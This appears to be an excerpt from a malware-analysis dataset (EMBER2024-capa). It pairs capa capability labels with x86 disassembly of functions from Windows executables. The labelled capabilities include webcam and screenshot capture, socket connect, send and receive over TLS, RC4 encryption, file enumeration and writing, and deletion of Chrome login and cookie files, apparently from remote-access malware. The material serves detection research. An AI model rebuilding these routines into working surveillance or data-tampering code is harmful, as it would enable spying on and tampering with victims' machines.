joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453c90
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x453d33
test eax, eax
jbe 0x453d33
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x453d33
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x453cde
xor esi, esi
jmp 0x453ce4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x453d0f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00402250
add esi, eax
push esi
mov ebx, esi
call fcn.00402250
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x453cf0
pop ebp
test edi, edi
pop edi
jne 0x453d33
test ebx, ebx
je 0x453d33
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0045c480
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x453e75
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x453f8d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x453f8d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046cd0b
mov esi, eax
test esi, esi
je 0x453f8d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x453f8d
mov ecx, esi
call fcn.00453de0
cmp edi, eax
jge 0x453f8d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x453f13
mov dword [esp + 0x34], 1
jmp 0x453f6e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x453f8d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.004533d0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x4572c0
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x45730a
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x457339
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x45737b
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x4575d0
Capabilities:
Inspect section memory permissions

Disassembly:
mov eax, dword [0x4a1ac4]
sub esp, 0x20
dec eax
je 0x457605
dec eax
je 0x4575eb
dec eax
mov dword [esp], 0x4a1ca0
xor eax, eax
jmp 0x457612
mov dword [esp], 0x4a1be0
mov dword [esp + 4], 0xbd9e7b
mov dword [esp + 8], 0xffffff
jmp 0x45761a
mov dword [esp], 0x4a1b20
mov eax, 0xbd9e7b
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [sym.imp.USER32.dll_CopyRect]
mov ebp, dword [sym.imp.GDI32.dll_MoveToEx]
mov edi, dword [sym.imp.GDI32.dll_LineTo]
mov ebx, dword [esp + 0x3c]
mov esi, dword [esp + 0x34]
mov eax, ebx
and eax, 0x80000000
mov dword [esp + 0x1c], eax
je 0x457713
push 0xffffffffffffffff
lea edx, [esp + 0x24]
push 0xffffffffffffffff
push edx
call dword [sym.imp.USER32.dll_InflateRect]
push 0
dec dword [esp + 0x28]
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.USER32.dll_FrameRect]
test bl, 1
mov eax, 0xbdcfce
jne 0x457689
mov eax, dword [esp + 0x14]
push eax
push 1
push 0
call dword [sym.imp.GDI32.dll_CreatePen]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
push eax
push esi
call ebx
push 0
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
add ecx, 2
mov dword [esp + 0x3c], eax
push ecx
push edx
push esi
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
add eax, 0xfffffffe
push eax
push ecx
push esi
call edi
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
add eax, 0xfffffffe
push edx
push eax
push esi
call edi
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x2c]
inc edx
push ecx
push edx
push esi
call edi
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x20]
add eax, 0xfffffffe
dec ecx
push eax
push ecx
push esi
call edi
mov edx, dword [esp + 0x38]
push edx
push esi
call ebx
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0xffffffffffffffff
lea eax, [esp + 0x24]
push 0xffffffffffffffff
push eax
call dword [sym.imp.USER32.dll_InflateRect]
jmp 0x457719
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [esp + 0x3c]
mov eax, ecx
and eax, 1
mov dword [esp + 0x34], eax
je 0x45772c
xor eax, eax
jmp 0x457745
test cl, 2
je 0x457738
mov eax, 1
jmp 0x457745
not cl
movsx eax, cl
and eax, 4
or al, 8
shr eax, 2
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
shl eax, 4
add eax, edx
push eax
push ecx
push esi
call fcn.004574c0
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x457824
push 0xffffffffffffffff
Function at 0x46d6ae
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46d6e6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046b762
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046b73a
jmp 0x46d6f2
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46eda1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46ede3
call fcn.004749e0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46ede3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46edda
xor eax, eax
jmp 0x46edeb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046edf1
pop edi
pop esi
pop ebx
ret 4

Function at 0x474f10
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x474f3e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x474f5c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00474e76
jmp 0x474f5c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x474f5c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00474e76
test edi, edi
mov eax, edi
jne 0x474f46
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40170e
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x464a58]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x401861
cmp byte [edi + 1], al
je 0x40185d
cmp byte [edi + 0x31], al
je 0x40176c
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.00402a91
sub esp, 0x14
mov ecx, esp
push 0x458450
call fcn.00402178
call fcn.004131c8
add esp, 0x30
call fcn.004186a5
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x401787
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x4018c1
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.004188c9
cmp eax, 1
je 0x4017cd
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4583b4
call fcn.00402178
call fcn.004131c8
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.004186eb
and dword [edi + 0x4c], 0
jmp 0x4018dd
mov ecx, dword [edi + 0x4c]
call fcn.004193a9
cmp eax, 1
je 0x40180a
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4583b4
call fcn.00402178
call fcn.004131c8
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00418af2
jmp 0x4017bc
mov ecx, dword [edi + 0x4c]
call fcn.00418840
mov dword [edi + 0x50], eax
test eax, eax
jne 0x40183f
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4583b4
call fcn.00402178
call fcn.004131c8
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x4018df
cmp byte [edi + 0x31], 0
je 0x4018dd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x4018dd
sub ecx, 0x17
je 0x4018b7
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041447a
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push 0x4583b4
call fcn.00402178
call fcn.004131c8
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00402091
jmp 0x4018dd
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4583b4
call fcn.00402178
call fcn.004131c8
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4018e7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00402020
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.0040214e
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0040202d
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.0040202d
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.0040202d
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040206e
cmp byte [edi + 1], bl
jne 0x401964
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00402020
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402028
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x40199f
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402020
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402028
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.00418a7a
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp + 0xc]
call fcn.00402091
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4019ba
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x4019f3
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.00418ab6
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x401a04
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x401a0b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x401a2a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x401d6f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x401e08
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x401d92
mov byte [esi + 0x7c], 1
jmp 0x401dde
cmp byte [0x464a81], 0
je 0x401dde
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00413751
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push 0x458450
call fcn.00402178
call fcn.004131c8
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00402091
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x401f6e
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x401e0a
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40406b
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x45ea70]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x404077
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x4040bb
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x404098
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4040da
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x404172
inc edx
and edx, 0x800000ff
jns 0x404114
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x40412d
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x404160
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x404103
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40450a
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00404459
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404550
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.004138e3
push 0x54
mov ecx, 0x466dc8
call fcn.004018e7
jmp 0x404611
lea ecx, [ebp - 0x18]
call fcn.004021c9
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403509
mov edx, 0x4585d4
mov ecx, eax
call fcn.004062f3
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.004034ff
test bl, bl
je 0x4045dd
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040219f
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
jmp 0x4045d8
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040219f
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00403fb4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4045a3
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.004021e0
push 0x50
mov ecx, 0x466dc8
call fcn.004018e7
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp + 8]
call fcn.004034ff
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40461f
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.0044a0a0
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x4585d8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00406375
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00405d5e
lea ecx, [ebp - 0x44]
call fcn.004034ff
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404459
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x4046f9
mov edi, dword [ebp + 8]
jb 0x404693
cmp dword [ebp - 8], edi
jae 0x4046f9
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019ba
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040219f
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.004018e7
test esi, esi
jle 0x404733
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404693
ja 0x4046f6
cmp dword [ebp - 8], edi
jb 0x404693
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404459
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404459
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004034ff
lea ecx, [ebp + 0x10]
call fcn.004034ff
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404459
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40471a

Function at 0x40474d
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021c9
lea ecx, [ebp + 8]
call fcn.00402028
mov edi, eax
jmp 0x4047d4
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00437038
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402178
mov ecx, eax
call fcn.00402028
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.004063b9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.004063fd
pop ecx
push eax
mov ecx, esi
call fcn.0040209b
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp - 0x34]
call fcn.00402091
lea ecx, [ebp - 0x4c]
call fcn.00402091
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x404768
lea ecx, [ebp + 8]
call fcn.00402091
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4076d7
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x458774
call fcn.00431b9d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040401b
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40773e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407732
sub eax, 1
je 0x407732
xor bl, bl
jmp 0x407757
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x407748
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402178
call fcn.00407e7f
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407766
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x458774
call fcn.00431b9d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040401b
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4077cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x4077c1
sub eax, 1
je 0x4077c1
xor bl, bl
jmp 0x4077e6
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x4077d7
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402178
call fcn.00407e7f
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret